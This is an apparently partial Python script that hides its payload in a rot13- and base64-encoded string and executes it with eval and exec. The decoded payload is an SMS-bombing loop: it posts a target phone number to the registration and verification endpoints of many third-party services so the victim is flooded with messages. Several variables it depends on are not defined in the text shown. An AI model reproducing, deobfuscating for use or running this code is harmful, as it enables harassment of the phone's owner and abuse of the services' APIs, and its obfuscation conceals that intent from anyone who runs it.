destiny = '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'
joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))